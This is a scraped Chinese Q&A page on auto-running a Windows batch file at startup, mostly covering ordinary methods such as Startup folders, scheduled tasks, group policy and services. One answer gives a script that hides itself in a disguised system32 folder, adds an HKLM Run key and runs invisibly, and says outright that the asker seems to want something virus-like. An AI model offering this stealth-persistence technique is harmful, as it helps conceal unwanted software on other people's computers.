如何让windows开机自动运行一个bat文件,并且当用户登录后还能看到这个bat文件的控制台窗口?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何让windows开机自动运行一个bat文件,并且当用户登录后还能看到这个bat文件的控制台窗口?相关的知识,希望对你有一定的参考价值。

如何让windows开机不管有没有用户登录都自动运行一个bat文件,并且当administrator登录后还能看到这个bat文件的控制台窗口?
试过添加计划任务以及在 启动 文件夹里放入bat文件的快捷方式,但是使用计划任务,登录账户后不能看到控制台界面。放入启动文件夹的话,好像得登录用户才会启动bat文件

第一种:需要登录才能运行的方法第一步:编写运行jar包的bat文件新建一个***.txt文件,将以下内容放进去,然后修改文件后缀为.bat@echo offjava -jar C:\Users\Administrator\Desktop\test-0.0.1-***.jar > C:\Users\Administrator\Desktop\***.logpause
解释:@echo off 执行该命令后,后面所有的命令行都不会显示出来(但是程序的打印输出会显示) > 将jar包控制台的输出输出到一个文件中(可以不输出到文件中,因为文件可能会特别大) pause 当执行到该命令时,会暂停命令行的执行,并打印显示"请输入任意键继续..."的字符。可能是因为springBoot启动时需要打印一堆东西的缘故,可能会额外弹出一个窗口显示"请输入任意键继续..."的字符。然后你按任意键继续即可,只要打印输出的窗口不关,额外弹出的窗口关闭也没事,就相当于一个启动完成的标志吧。 PS:如果想要在一个bat文件中运行多个jar包,要这样使用@echo offstart cmd /c "java -jar d:\***.jar"start cmd /c "java -jar d:\***.jar" pause
解释: start 表示要执行一个命令或一个可执行的文件等。启动多个可执行文件:https://blog.***.net/qq_24489717/article/details/60957981这样每执行一个start cmd /c 命令就会弹出一个命令行窗口,所以要想办法隐藏掉。因为有一个控制台打印的进程一直开着,所以关闭是关闭不掉的。第二步:编写vb脚本隐藏命令行窗口因为若只执行第一步的话,启动后会弹出一个或多个命令行窗口,当窗口关闭时,项目也停止了,所以编写一个vb脚本隐藏命令行窗口,操作步骤:新建一个txt文件,将以下内容copy进去,修改文件后缀为vbs即可。内容如下Set ws = CreateObject("***.shell")ws.run "cmd /c d:\***.bat",vbhide
作用就是去执行第一步的bat文件。检查有没有启动成功: netstat -ano | findstr 端口号强制关闭进程: taskkill -f -pid 进程id 第三步:设置开机运行该脚本找到这个位置C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup或者这个位置C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp将第二步的vbs文件放进去就行了。(注意,AppData和ProgramData是两个隐藏文件,需要在查看中勾选隐藏的项目这个选项。以上两个目录都是windows的开机自启目录,区别就是第一个只是属于当前登录用户的,第二个是属于所有用户的。如果设置了开机密码,则必须是输入密码后才会去执行vb脚本,注意!第二种:不需要登录也可运行程序的方法 方式一::利用组策略开机启动项目利用windows自带的搜索工具,搜索"组策略",打开以下页面双击启动,在启动中添加vb脚本,即可实现不用登陆,也能开机启动程序。个人电脑大部分都有这个组策略,但像windowsServer这样的服务器就没有这个(MD,亲身体验过...),但我们可以使用以下方式。方式二:利用计划任务实现开机启动 在任务创建的最后输入用户名和密码即可。 图中的test任务为我刚刚测试的任务,这是他的一些属性。
test任务属性图方式三:注册成windows服务,并设置启动方式为开机自启 利用windows的sc(service create)命令。之后重启服务器即可看到启动成功sc create 服务名 binPath=C:\Users\admin\Desktop\***.bat start= auto
查看是否启动成功 在cmd中输入***.msc ,查看是否有该服务 启动,关闭,删除该服务net start 服务名net stop 服务名sc delete 服务名
方式四:修改注册表
参考技术A 计划任务,只要没勾选隐藏运行,那么执行bat脚本,它可以显示窗口的。当然首先您得确保脚本它执行后不会自动退出。否则它自己都已经执行完,自动退出了,那么稍微晚点登录帐户后,都有可能已经结束了,因此肯定看不到窗口。追问

任务会执行很长时间,不会退出的。登录账户后打开任务计划,看到这个任务是正在运行的状态,但是仍然看不到窗口哦

怎么让“bat文件”自动运行?

参考技术A 把这个bat复制到某个文件夹下,当然这个文件夹要找尽量不让别人发现的,比如在c:\windows\system32\建立一个文件夹kaijiyunxing,然后把你的bat(比如1.bat)复制下去,再在注册表的run值下写个开机运行这个文件,这样就可以完成你要的目的了。\\x0d\\x0a\\x0d\\x0a代码如下(可根据你的需要修改):\\x0d\\x0a@echo off\\x0d\\x0aif exist %homedrive%\windows\system32\kaijiyunxing goto C\\x0d\\x0amd %homedrive%\windows\system32\kaijiyunxing\\\x0d\\x0acopy %0 %homedrive%\windows\system32\kaijiyunxing\\\x0d\\x0a\\x0d\\x0a:C\\x0d\\x0areg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /v Start /d "%homedrive%\windows\system32\kaijiyunxing\1.bat" /f\\x0d\\x0a\\x0d\\x0a这样就有开机运行这个bat的效果了,还有什么命令就直接写在这个的下面就行了。\\x0d\\x0a但是这个运行之后不是后台运行,用户可以看到运行的过程,我看LZ的意思好像是要写什么类似病毒的东西,这个的话你就要加一些后台运行的命令了。\\x0d\\x0a这里有我自己觉得比较好的后台运行方式,简单易懂\\x0d\\x0a【方法1】\\x0d\\x0a前面加上这些\\x0d\\x0a@echo off\\x0d\\x0aif exist 2.vbs goto start\\x0d\\x0aecho set ws=wscript.createobject("wscript.shell") > 2.vbs\\x0d\\x0aecho ws.run "1.bat /start",0 >> 2.vbs\\x0d\\x0a2.vbs & exit\\x0d\\x0a:start\\x0d\\x0adel 2.vbs\\x0d\\x0a。。。。。。。\\x0d\\x0arem在这个后面写你的命令,也可加上我刚刚写的那些!!\\x0d\\x0a\\x0d\\x0a这样可以实现后台运行了\\x0d\\x0a\\x0d\\x0a【方法2】\\x0d\\x0a用一个工具Quick Batch File Compiler\\x0d\\x0a再把代码写进去之后,在选项栏中标记“幽灵模式”,就可以后台运行了,不过这个工具要生成exe格式的。

以上是关于如何让windows开机自动运行一个bat文件,并且当用户登录后还能看到这个bat文件的控制台窗口?的主要内容,如果未能解决你的问题,请参考以下文章

怎么把.bat添加成系统服务让开机自动启动

如何让bat文件 开机自动以管理员身份运行。且不弹出黑框

BAT批处理文件的msdos窗口如何开机自动后台运行不弹出窗口?

windows如何开机自动运行定时关机脚本

如何运行.bat文件且设置为开机启动,不显示窗口

跪求大虾指教 如何让一个bat文件执行多个命令